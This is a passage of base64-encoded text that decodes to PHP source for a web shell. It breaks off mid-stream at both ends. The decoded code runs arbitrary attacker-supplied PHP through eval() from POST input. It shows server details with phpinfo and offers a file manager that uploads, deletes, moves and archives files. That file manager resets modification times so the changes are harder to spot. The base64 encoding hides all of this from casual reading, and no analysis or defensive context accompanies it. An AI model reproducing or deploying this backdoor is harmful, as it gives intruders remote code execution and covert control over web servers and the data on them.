JzsKCWhhcmRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25QaHAoKSB7CglpZiggaXNzZXQoJF9Q T1NUWydhamF4J10pICkgewoJCSRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidh amF4J10gPSB0cnVlOwoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BPU1RbJ3AxJ10pOwoJCSR0ZW1w ID0gImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5zdHlsZS5kaXNwbGF5PScn O2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdQaHBPdXRwdXQnKS5pbm5lckhUTUw9JyIuYWRkY3Ns YXNoZXMoaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSksIlxuXHJcdFxcJ1wwIikuIic7 XG4iOwoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7CgkJZXhpdDsKCX0KCWhhcmRI ZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3AyJ10pICYmICgkX1BPU1RbJ3AyJ10gPT0gJ2lu Zm8nKSApIHsKCQllY2hvICc8aDE+UEhQIGluZm88L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJ CW9iX3N0YXJ0KCk7CgkJcGhwaW5mbygpOwoJCSR0bXAgPSBvYl9nZXRfY2xlYW4oKTsKCQkkdG1w ID0gcHJlZ19yZXBsYWNlKCchYm9keSB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVn X3JlcGxhY2UoJyFhOlx3KyB7Lip9IW1zaVUnLCcnLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxh Y2UoJyFoMSFtc2lVJywnaDInLCR0bXApOwoJCSR0bXAgPSBwcmVnX3JlcGxhY2UoJyF0ZCwgdGgg eyguKil9IW1zaVUnLCcuZSwgLnYsIC5oLCAuaCB0aCB7JDF9JywkdG1wKTsKCQkkdG1wID0gcHJl Z19yZXBsYWNlKCchYm9keSwgdGQsIHRoLCBoMiwgaDIgey4qfSFtc2lVJywnJywkdG1wKTsKCQll Y2hvICR0bXA7CgkJZWNobyAnPC9kaXY+PGJyPic7Cgl9CglpZihlbXB0eSgkX1BPU1RbJ2FqYXgn XSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCSRfQ09PS0lFW21kNSgkX1NFUlZFUlsnSFRUUF9I T1NUJ10pLidhamF4J10gPSBmYWxzZTsKCQllY2hvICc8aDE+RXhlY3V0aW9uIFBIUC1jb2RlPC9o MT48ZGl2IGNsYXNzPWNvbnRlbnQ+PGZvcm0gbmFtZT1wZiBtZXRob2Q9cG9zdCBvbnN1Ym1pdD0i aWYodGhpcy5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLHRoaXMuY29kZS52YWx1ZSk7fWVsc2V7 ZyhudWxsLG51bGwsdGhpcy5jb2RlLnZhbHVlLFwnXCcpO31yZXR1cm4gZmFsc2U7Ij48dGV4dGFy ZWEgbmFtZT1jb2RlIGNsYXNzPWJpZ2FyZWEgaWQ9UGhwQ29kZT4nLighZW1wdHkoJF9QT1NUWydw MSddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSk6JycpLic8L3RleHRhcmVhPjxpbnB1 dCB0eXBlPXN1Ym1pdCB2YWx1ZT1FdmFsIHN0eWxlPSJtYXJnaW4tdG9wOjVweCI+JzsKCWVjaG8g JyA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLigkX0NPT0tJRVttZDUo JF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydjaGVja2VkJzonJykuJz4gc2VuZCB1c2lu ZyBBSkFYPC9mb3JtPjxwcmUgaWQ9UGhwT3V0cHV0IHN0eWxlPSInLihlbXB0eSgkX1BPU1RbJ3Ax J10pPydkaXNwbGF5Om5vbmU7JzonJykuJ21hcmdpbi10b3A6NXB4OyIgY2xhc3M9bWwxPic7Cglp ZighZW1wdHkoJF9QT1NUWydwMSddKSkgewoJCW9iX3N0YXJ0KCk7CgkJZXZhbCgkX1BPU1RbJ3Ax J10pOwoJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhvYl9nZXRfY2xlYW4oKSk7Cgl9CgllY2hvICc8 L3ByZT48L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkZpbGVzTWFuKCkg ewogICAgaWYgKCFlbXB0eSAoJF9DT09LSUVbJ2YnXSkpCiAgICAgICAgJF9DT09LSUVbJ2YnXSA9 IEB1bnNlcmlhbGl6ZSgkX0NPT0tJRVsnZiddKTsKCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkg ewoJCXN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKCQkJY2FzZSAndXBsb2FkRmlsZSc6CiAgICAgICAg ICAgICAgICAkZGlydGltZSA9IEBmaWxlbXRpbWUoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAg ICAgICAgIGlmICggaXNfYXJyYXkoJF9GSUxFU1snZiddWyd0bXBfbmFtZSddKSApIHsKCQkJCQlm b3JlYWNoICggJF9GSUxFU1snZiddWyd0bXBfbmFtZSddIGFzICRpID0+ICR0bXBOYW1lICkgewog ICAgICAgICAgICAgICAgICAgICAgICBpZighQG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wTmFtZSwg JF9GSUxFU1snZiddWyduYW1lJ11bJGldKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIGVjaG8gIkNhbid0IHVwbG9hZCBmaWxlISI7CgkJCQkJCQl9IGVsc2UgewogICAgICAgICAg ICAgICAgICAgICAgICAJCUB0b3VjaCgkR0xPQkFMU1snY3dkJ10gLiAkX0ZJTEVTWydmJ11bJ25h bWUnXVskaV0sICRkaXJ0aW1lLCAkZGlydGltZSk7CiAgICAgICAgICAgICAgICAgICAgICAgIAl9 CgkJCQkJCX0KICAgICAgICAgICAgICAgICAgICBAdG91Y2goJEdMT0JBTFNbJ2N3ZCddLCAkZGly dGltZSwgJGRpcnRpbWUpOwogICAgICAgICAgICAgICAgfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ21r ZGlyJzoKCQkJCWlmKCFAbWtkaXIoJF9QT1NUWydwMiddKSkKCQkJCQllY2hvICJDYW4ndCBjcmVh dGUgbmV3IGRpciI7CgkJCQlicmVhazsKCQkJY2FzZSAnZGVsZXRlJzoKCQkJCWZ1bmN0aW9uIGRl bGV0ZURpcigkcGF0aCkgewoJCQkJCSRwYXRoID0gKHN1YnN0cigkcGF0aCwtMSk9PScvJykgPyAk cGF0aDokcGF0aC4nLyc7CgkJCQkJJGRoICA9IG9wZW5kaXIoJHBhdGgpOwoJCQkJCXdoaWxlICgg KCTilp8gPSByZWFkZGlyKCRkaCkgKSAhPT0gZmFsc2UpIHsKCQkJCQkJJOKWnyA9ICRwYXRoLiTi lp87CgkJCQkJCWlmICggKGJhc2VuYW1lKCTilp8pID09ICIuLiIpIHx8IChiYXNlbmFtZSgk4paf KSA9PSAiLiIpICkKCQkJCQkJCWNvbnRpbnVlOwoJCQkJCQkkdHlwZSA9IGZpbGV0eXBlKCTilp8p OwoJCQkJCQlpZiAoJHR5cGUgPT0gImRpciIpCgkJCQkJCQlkZWxldGVEaXIoJOKWnyk7CgkJCQkJ CWVsc2UKCQkJCQkJCUB1bmxpbmsoJOKWnyk7CgkJCQkJfQoJCQkJCWNsb3NlZGlyKCRkaCk7CgkJ CQkJQHJtZGlyKCRwYXRoKTsKCQkJCX0KCQkJCWlmKGlzX2FycmF5KEAkX1BPU1RbJ2YnXSkpCgkJ CQkJZm9yZWFjaCgkX1BPU1RbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICBp ZigkZiA9PSAnLi4nKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGludWU7CgkJCQkJ CSRmID0gdXJsZGVjb2RlKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGRpciA9IEBkaXJu YW1lKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgJGRpcnRpbWUgPSBAZmlsZW10aW1lKCRk aXIpOwoJCQkJCQlpZihpc19kaXIoJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBk ZWxldGVEaXIoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAg ICAgICAgICAgICAgICAgICAgQHVubGluaygkZik7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K ICAgICAgICAgICAgICAgICAgICAgICAgQHRvdWNoKCRkaXIsICRkaXJ0aW1lLCAkZGlydGltZSk7 CiAgICAgICAgICAgICAgICAgICAgfQoJCQkJYnJlYWs7CgkJCWNhc2UgJ3Bhc3RlJzoKCQkJCWlm KCRfQ09PS0lFWydhY3QnXSA9PSAnY29weScpIHsKCQkJCQlmdW5jdGlvbiBjb3B5X3Bhc3RlKCRj LCRzLCRkKXsKCQkJCQkJaWYoaXNfZGlyKCRjLiRzKSl7CgkJCQkJCQlta2RpcigkZC4kcyk7CgkJ CQkJCQkkaCA9IEBvcGVuZGlyKCRjLiRzKTsKCQkJCQkJCXdoaWxlICgoJGYgPSBAcmVhZGRpcigk aCkpICE9PSBmYWxzZSkKCQkJCQkJCQlpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkK CQkJCQkJCQkJY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CgkJCQkJCX0gZWxz ZWlmKGlzX2ZpbGUoJGMuJHMpKQoJCQkJCQkJQGNvcHkoJGMuJHMsICRkLiRzKTsKCQkJCQl9CgkJ CQkJZm9yZWFjaCgkX0NPT0tJRVsnZiddIGFzICRmKQoJCQkJCQljb3B5X3Bhc3RlKCRfQ09PS0lF WydjJ10sJGYsICRHTE9CQUxTWydjd2QnXSk7CgkJCQl9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10g PT0gJ21vdmUnKSB7CgkJCQkJZnVuY3Rpb24gbW92ZV9wYXN0ZSgkYywkcywkZCl7CgkJCQkJCWlm KGlzX2RpcigkYy4kcykpewoJCQkJCQkJbWtkaXIoJGQuJHMpOwoJCQkJCQkJJGggPSBAb3BlbmRp cigkYy4kcyk7CgkJCQkJCQl3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCgkJ CQkJCQkJaWYgKCgkZiAhPSAiLiIpIGFuZCAoJGYgIT0gIi4uIikpCgkJCQkJCQkJCWNvcHlfcGFz dGUoJGMuJHMuJy8nLCRmLCAkZC4kcy4nLycpOwoJCQkJCQl9IGVsc2VpZihAaXNfZmlsZSgkYy4k cykpCgkJCQkJCQlAY29weSgkYy4kcywgJGQuJHMpOwoJCQkJCX0KCQkJCQlmb3JlYWNoKCRfQ09P S0lFWydmJ10gYXMgJGYpCgkJCQkJCUByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNb J2N3ZCddLiRmKTsKCQkJCX0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgewoJCQkJ CWlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAg ICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHpp cC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBj aGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2go JF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlm KCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVl OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydj J10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxl KCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBl bHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihu ZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nLCBGaWxlc3lzdGVtSXRlcmF0b3I6 OlNLSVBfRE9UUykpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNo ICgkaXRlcmF0b3IgYXMgJGtleT0+JHZhbHVlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKHJlYWxwYXRoKCRrZXkpLCAka2V5KTsKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAg ICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg ICAgICAgICAgfQoJCQkJfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKCQkJ CQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgewogICAgICAgICAgICAgICAgICAgICAg ICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsKICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFj aCgkX0NPT0tJRVsnZiddIGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZigk emlwLT5vcGVuKCRfQ09PS0lFWydjJ10uJGYpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAg IH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KCQkJCX0g ZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNo ZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBh cnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAg ICAgICAgZXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAn IC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBjaGRp cigkR0xPQkFMU1snY3dkJ10pOwoJCQkJfQoJCQkJdW5zZXQoJF9DT09LSUVbJ2YnXSk7CiAgICAg ICAgICAgICAgICBzZXRjb29raWUoJ2YnLCAnJywgdGltZSgpIC0gMzYwMCk7CgkJCQlicmVhazsK CQkJZGVmYXVsdDoKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CgkJ CQkJcHJvdG90eXBlKCdhY3QnLCAkX1BPU1RbJ3AxJ10pOwoJCQkJCXByb3RvdHlwZSgnZicsIHNl cmlhbGl6ZShAJF9QT1NUWydmJ10pKTsKCQkJCQlwcm90b3R5cGUoJ2MnLCBAJF9QT1NUWydjJ10p OwoJCQkJfQoJCQkJYnJlYWs7CgkJfQoJfQogICAgaGFyZEhlYWRlcigpOwoJZWNobyAnPGgxPkZp bGUgbWFuYWdlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50PjxzY3JpcHQ+cDFfPXAyXz1wM189IiI7 PC9zY3JpcHQ+JzsKCSRkaXJDb250ZW50ID0gaGFyZFNjYW5kaXIoaXNzZXQoJF9QT1NUWydjJ10p PyRfUE9TVFsnYyddOiRHTE9CQUxTWydjd2QnXSk7CglpZigkZGlyQ29udGVudCA9PT0gZmFsc2Up IHsJZWNobyAnQ2FuXCd0IG9wZW4gdGhpcyBmb2xkZXIhJztoYXJkRm9vdGVyKCk7IHJldHVybjsg fQoJZ2xvYmFsICRzb3J0OwoJJHNvcnQgPSBhcnJheSgnbmFtZScsIDEpOwoJaWYoIWVtcHR5KCRf UE9TVFsncDEnXSkpIHsKCQlpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRf UE9TVFsncDEnXSwgJG1hdGNoKSkKCQkJJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1h dGNoWzJdKTsKCX0KZWNobyAiPHNjcmlwdD4KCWZ1bmN0aW9uIHNhKCkgewoJCWZvcihpPTA7aTxk LmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCgkJCWlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlw ZSA9PSAnY2hlY2tib3gnKQoJCQkJZC5maWxlcy5lbGVtZW50c1tpXS5jaGVja2VkID0gZC5maWxl cy5lbGVtZW50c1swXS5jaGVja2VkOwoJfQo8L3NjcmlwdD4KPHRhYmxlIHdpZHRoPScxMDAlJyBj bGFzcz0nbWFpbicgY2VsbHNwYWNpbmc9JzAnIGNlbGxwYWRkaW5nPScyJz4KPGZvcm0gbmFtZT1m aWxlcyBtZXRob2Q9cG9zdD48dHI+PHRoIHdpZHRoPScxM3B4Jz48aW5wdXQgdHlwZT1jaGVja2Jv eCBvbmNsaWNrPSdzYSgpJyBjbGFzcz1jaGtieD48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNr PSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19uYW1lXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+TmFt ZTwvYT48L3RoPjx0aD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwi c19zaXplXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+U2l6ZTwvYT48L3RoPjx0aD48YSBocmVmPScj JyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19tb2RpZnlfIi4oJHNvcnRbMV0/MDox KS4iXCIpJz5Nb2RpZnk8L2E+PC90aD48dGg+T3duZXIvR3JvdXA8L3RoPjx0aD48YSBocmVmPScj JyBvbmNsaWNrPSdnKFwiRmlsZXNNYW5cIixudWxsLFwic19wZXJtc18iLigkc29ydFsxXT8wOjEp LiJcIiknPlBlcm1pc3Npb25zPC9hPjwvdGg+PHRoPkFjdGlvbnM8L3RoPjwvdHI+IjsKCSRkaXJz ID0gJGZpbGVzID0gYXJyYXkoKTsKCSRuID0gY291bnQoJGRpckNvbnRlbnQpOwoJZm9yKCRpPTA7 JGk8JG47JGkrKykgewoJCSRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250 ZW50WyRpXSkpOwoJCSRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50 WyRpXSkpOwoJCSR0bXAgPSBhcnJheSgnbmFtZScgPT4gJGRpckNvbnRlbnRbJGldLAoJCQkJCSAn cGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwKCQkJCQkgJ21vZGlmeScg PT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJD b250ZW50WyRpXSkpLAoJCQkJCSAncGVybXMnID0+IHZpZXdQZXJtc0NvbG9yKCRHTE9CQUxTWydj d2QnXSAuICRkaXJDb250ZW50WyRpXSksCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JB TFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCgkJCQkJICdvd25lcicgPT4gJG93WyduYW1lJ10/ JG93WyduYW1lJ106QGZpbGVvd25lcigkZGlyQ29udGVudFskaV0pLAoJCQkJCSAnZ3JvdXAnID0+ ICRnclsnbmFtZSddPyRnclsnbmFtZSddOkBmaWxlZ3JvdXAoJGRpckNvbnRlbnRbJGldKQoJCQkJ CSk7CgkJaWYoQGlzX2ZpbGUoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSkKCQkJ JGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7CgkJ ZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpCgkJCSRk aXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2xpbmsnLCAnbGluaycg PT4gcmVhZGxpbmsoJHRtcFsncGF0aCddKSkpOwoJCWVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydj d2QnXSAuICRkaXJDb250ZW50WyRpXSkmJigkZGlyQ29udGVudFskaV0gIT0gIi4iKSkKCQkJJGRp cnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwoJfQoJJEdM T0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwoJZnVuY3Rpb24gY21wKCRhLCAkYikgewoJCWlmKCRHTE9C QUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQoJCQlyZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFb JEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1d KSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CgkJZWxzZQoJCQlyZXR1cm4gKCgkYVsnc2l6 ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwoJ fQoJdXNvcnQoJGZpbGVzLCAiY21wIik7Cgl1c29ydCgkZGlycywgImNtcCIpOwoJJGZpbGVzID0g YXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkkbCA9IDA7Cglmb3JlYWNoKCRmaWxlcyBhcyAk ZikgewoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1j aGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFz cz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxl Jyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywg XCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwn LFwnJy4kZlsncGF0aCddLidcJyk7IiAnIC4gKGVtcHR5ICgkZlsnbGluayddKSA/ICcnIDogInRp dGxlPSd7JGZbJ2xpbmsnXX0nIikgLiAnPjxiPlsgJyAuIGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25h bWUnXSkgLiAnIF08L2I+JykuJzwvYT48L3RkPjx0ZD4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT92 aWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10u JzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVm PSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUn XSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10KCQkJLic8L3RkPjx0ZD48YSBjbGFzcz0i dG9vbHRpcCIgZGF0YS10b29sdGlwPSJSZW5hbWUiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxl c1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdyZW5hbWVcJyki PlI8L2E+IDxhIGNsYXNzPSJ0b29sdGlwIiBkYXRhLXRvb2x0aXA9IlRvdWNoIiBocmVmPSIjIiBv bmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4n XCcsIFwndG91Y2hcJykiPlQ8L2E+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/JyA8YSBjbGFzcz0i dG9vbHRpcCIgZGF0YS10b29sdGlwPSJGcmFtZSIgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVz VG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2ZyYW1lXCcpIj5G PC9hPiA8YSBjbGFzcz0idG9vbHRpcCIgZGF0YS10b29sdGlwPSJFZGl0IiBocmVmPSIjIiBvbmNs aWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLnVybGVuY29kZSgkZlsnbmFtZSddKS4nXCcs IFwnZWRpdFwnKSI+RTwvYT4gPGEgY2xhc3M9InRvb2x0aXAiIGRhdGEtdG9vbHRpcD0iRG93bmxv YWQiIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2Rl KCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7 CgkJJGwgPSAkbD8wOjE7Cgl9CgllY2hvICI8dHIgaWQ9ZmFrPjx0ZCBjb2xzcGFuPTc+Cgk8aW5w dXQgdHlwZT1oaWRkZW4gbmFtZT1uZSB2YWx1ZT0nJz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l PWEgdmFsdWU9J0ZpbGVzTWFuJz4KCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIg LiBodG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkgLiInPgoJPGlucHV0IHR5cGU9aGlk ZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BP U1RbJ2NoYXJzZXQnXTonJykuIic+Cgk8bGFiZWw+PHNlbGVjdCBuYW1lPSdwMSc+IjsKCWlmKCFl bXB0eSgkX0NPT0tJRVsnYWN0J10pICYmIEBjb3VudCgkX0NPT0tJRVsnZiddKSkKICAgICAgICBl Y2hvICI8b3B0aW9uIHZhbHVlPSdwYXN0ZSc+4oazIFBhc3RlPC9vcHRpb24+IjsKCWVjaG8gIjxv cHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJz5Nb3Zl PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJz5EZWxldGU8L29wdGlvbj4iOwogICAgaWYo Y2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpCiAgICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0n emlwJz4rIHppcDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3VuemlwJz4tIHppcDwvb3B0aW9uPiI7 CiAgICBlY2hvICI8b3B0aW9uIHZhbHVlPSd0YXInPisgdGFyLmd6PC9vcHRpb24+IjsKICAgIGVj aG8gIjwvc2VsZWN0PjwvbGFiZWw+IjsKICAgIGlmKCFlbXB0eSgkX0NPT0tJRVsnYWN0J10pICYm IEBjb3VudCgkX0NPT0tJRVsnZiddKSAmJiAoKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgfHwg KCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykpKQogICAgICAgIGVjaG8gIiZuYnNwO2ZpbGUgbmFt ZTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXAyIHZhbHVlPSdoYXJkXyIgLiBkYXRlKCJZbWRfSGlz IikgLiAiLiIgLiAoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnPyd6aXAnOid0YXIuZ3onKSAuICIn PiZuYnNwOyI7CiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nc3VibWl0Jz48 L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsKCWhhcmRGb290ZXIoKTsKfQpmdW5jdGlv biBhY3Rpb25TdHJpbmdUb29scygpIHsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkg e2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319CiAgICBp ZighZnVuY3Rpb25fZXhpc3RzKCdiaW5oZXgnKSkge2Z1bmN0aW9uIGJpbmhleCgkcCkge3JldHVy 